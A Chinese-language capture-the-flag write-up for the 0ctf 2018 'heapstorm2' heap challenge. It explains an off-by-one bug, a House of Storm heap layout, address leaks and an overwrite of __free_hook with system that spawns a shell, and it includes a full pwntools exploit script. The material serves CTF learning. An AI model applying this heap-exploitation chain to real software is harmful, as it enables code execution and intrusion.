0ctf2018 pwn heapstorm2 writeup

TOC

  1. 1. 安全防护
  2. 2. 溢出点
  3. 3. 思路
    1. 3.1. House of Strom
    2. 3.2. 泄露地址
  4. 4. 完整脚本

一道构思巧妙的题。靶机环境是glibc-2.24。

源程序下载:heapstorm2.zip

安全防护

ex@Ex:~/test$ checksec heapstorm2
[*] '/home/ex/test/heapstorm2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

溢出点

Update存在off by one

int __fastcall Update(struc_1 *a1)
{
struc_1 *v2; // ST18_8
char *v3; // rax
signed int v4; // [rsp+10h] [rbp-20h]
int v5; // [rsp+14h] [rbp-1Ch]

printf("Index: ");
v4 = get_long();
if ( v4 < 0 || v4 > 15 || !sub_BCC((__int64)a1, a1[v4 + 2].calloc_ptr) )
return puts("Invalid Index");
printf("Size: ");
v5 = get_long();
if ( v5 <= 0 || v5 > (unsigned __int64)(sub_BCC((__int64)a1, a1[v4 + 2].calloc_ptr) - 12) )
return puts("Invalid Size");
printf("Content: ");
v2 = (struc_1 *)sub_BB0(a1, a1[v4 + 2LL].size);
read_n((__int64)v2, v5);
v3 = (char *)v2 + v5;
*(_QWORD *)v3 = 0x524F545350414548LL;
*((_DWORD *)v3 + 2) = 0x49495F4D;
v3[12] = 0;
return printf("Chunk %d Updated\n", (unsigned int)v4);
}

思路

  1. House of Strom
  2. 泄露地址

House of Strom

构造House of Strom来控制,0x13370800-16。

Allocate(0x18)
Allocate(0x18)
Allocate(0x18)

Allocate(0x18)
Allocate(0x488)
Allocate(0xf8)

Allocate(0x18)
Allocate(0x488)
Allocate(0xf8)

Allocate(0x18)


Delete(4)
Update(3, 0x18 - 12, 'a' * (0x18 - 12))
Allocate(0x18)
Allocate(0x3d8) # 10
Delete(4)
Delete(5)
Allocate(0x588) # 4

Delete(7)
Update(6, 0x18 - 12, 'a' * (0x18 - 12))
Allocate(0x28) # 5
Allocate(0x3c8) # 7
Delete(5)
Delete(8)

Allocate(0x28) # 5
Allocate(0x558) # 8

Delete(4)
Allocate(0x18) # 4
Delete(8)

Allocate(0x568)
Delete(8)

Allocate(0x568)
Delete(8)

Delete(1)
Delete(2)

Update(10, 0x10, p64(0) + p64(0x13370800-16 - 0x10))
Update(7, 0x20, p64(0) + p64(0x13370800-16 - 8) + p64(0) + p64(0x13370800-16 - 0x28 - 5))

Allocate(0x48) # 1

泄露地址

这里就有点难度,要读出calloc_ptrsize,首先要知道程序进行异或的值,否则即使控制了0x13370800,由于我们不知道原先的异或值,所以泄露信息也无从下手,由于程序被设计的相当好,使得我们可以在刚好不破坏原有结构体的情况下恢复原有的异或值。

*(_QWORD *)v3 = 0x524F545350414548LL;
*((_DWORD *)v3 + 2) = 0x49495F4D;

原本可以编辑的长度是不够的,但在Update函数中,会对后面12字节写入固定的值,因为我们已经知道该值,所以可以直接用该值进行异或,就可以控制该值。

Update(1, 0x3c, 'b' * 0x10 + p64(0) + p64(0x5041454800000000) + p64(0) + p64(0x13377331) + p64(0x13370850) + p32(0x100))

View(0)
result = sh.recvn(0x100)
print hexdump(result)
heap_addr =( u64(result[:8]) ^ u64(result[0x90: 0x90 + 8])) & 0xFFFFFFFFFFFFF000
log.success('heap_addr: ' + hex(heap_addr))


Update(0, 0x10, p64(heap_addr + 0xb0) + p32(0x20) + p32(0x50414548))

View(3)
main_arena_addr = u64(sh.recvn(8)) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - 0x387b00
log.success('libc_addr: ' + hex(libc_addr))

Update(0, 0x10, p64(libc_addr + libc.symbols['__free_hook']) + p32(0x20) + p32(0x50414548))
Update(3, 8, p64(libc_addr + libc.symbols['system']))

Update(0, 0x10, p64(libc_addr + libc.symbols['__free_hook'] - 8) + p32(0x20) + p32(0x50414548))
Update(3, 0x10, '/bin/sh\0' + p64(libc_addr + libc.symbols['system']))

Delete(3)

完整脚本

受随机化影响,概率是1/3,由于为了方便,使用的是我自己编译的glibc。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = "amd64"
# context.arch = "i386"
# context.log_level = 'debug'
execve_file = './heapstorm2'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
elf = ELF(execve_file)
libc = ELF('/glibc/glibc-2.24/debug_x64/lib/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
b *$rebase(0x11D2)
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def Allocate(size):
sh.sendlineafter('Command: ', '1')
sh.sendlineafter('Size: ', str(size))

def Update(index, size, content):
sh.sendlineafter('Command: ', '2')
sh.sendlineafter('Index: ', str(index))
sh.sendlineafter('Size: ', str(size))
sh.sendafter('Content: ', content)

def Delete(index):
sh.sendlineafter('Command: ', '3')
sh.sendlineafter('Index: ', str(index))

def View(index):
sh.sendlineafter('Command: ', '4')
sh.sendlineafter('Index: ', str(index))
sh.recvuntil(']: ')

# pause()
Allocate(0x18)
Allocate(0x18)
Allocate(0x18)

Allocate(0x18)
Allocate(0x488)
Allocate(0xf8)

Allocate(0x18)
Allocate(0x488)
Allocate(0xf8)

Allocate(0x18)


Delete(4)
Update(3, 0x18 - 12, 'a' * (0x18 - 12))
Allocate(0x18)
Allocate(0x3d8) # 10
Delete(4)
Delete(5)
Allocate(0x588) # 4

Delete(7)
Update(6, 0x18 - 12, 'a' * (0x18 - 12))
Allocate(0x28) # 5
Allocate(0x3c8) # 7
Delete(5)
Delete(8)

Allocate(0x28) # 5
Allocate(0x558) # 8

Delete(4)
Allocate(0x18) # 4
Delete(8)

Allocate(0x568)
Delete(8)

Allocate(0x568)
Delete(8)

Delete(1)
Delete(2)

Update(10, 0x10, p64(0) + p64(0x13370800-16 - 0x10))
Update(7, 0x20, p64(0) + p64(0x13370800-16 - 8) + p64(0) + p64(0x13370800-16 - 0x28 - 5))

Allocate(0x48) # 1

Update(1, 0x3c, 'b' * 0x10 + p64(0) + p64(0x5041454800000000) + p64(0) + p64(0x13377331) + p64(0x13370850) + p32(0x100))

View(0)
result = sh.recvn(0x100)
print hexdump(result)
heap_addr =( u64(result[:8]) ^ u64(result[0x90: 0x90 + 8])) & 0xFFFFFFFFFFFFF000
log.success('heap_addr: ' + hex(heap_addr))


Update(0, 0x10, p64(heap_addr + 0xb0) + p32(0x20) + p32(0x50414548))

View(3)
main_arena_addr = u64(sh.recvn(8)) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - 0x387b00
log.success('libc_addr: ' + hex(libc_addr))

Update(0, 0x10, p64(libc_addr + libc.symbols['__free_hook']) + p32(0x20) + p32(0x50414548))
Update(3, 8, p64(libc_addr + libc.symbols['system']))

Update(0, 0x10, p64(libc_addr + libc.symbols['__free_hook'] - 8) + p32(0x20) + p32(0x50414548))
Update(3, 0x10, '/bin/sh\0' + p64(libc_addr + libc.symbols['system']))

Delete(3)

sh.interactive()
clear()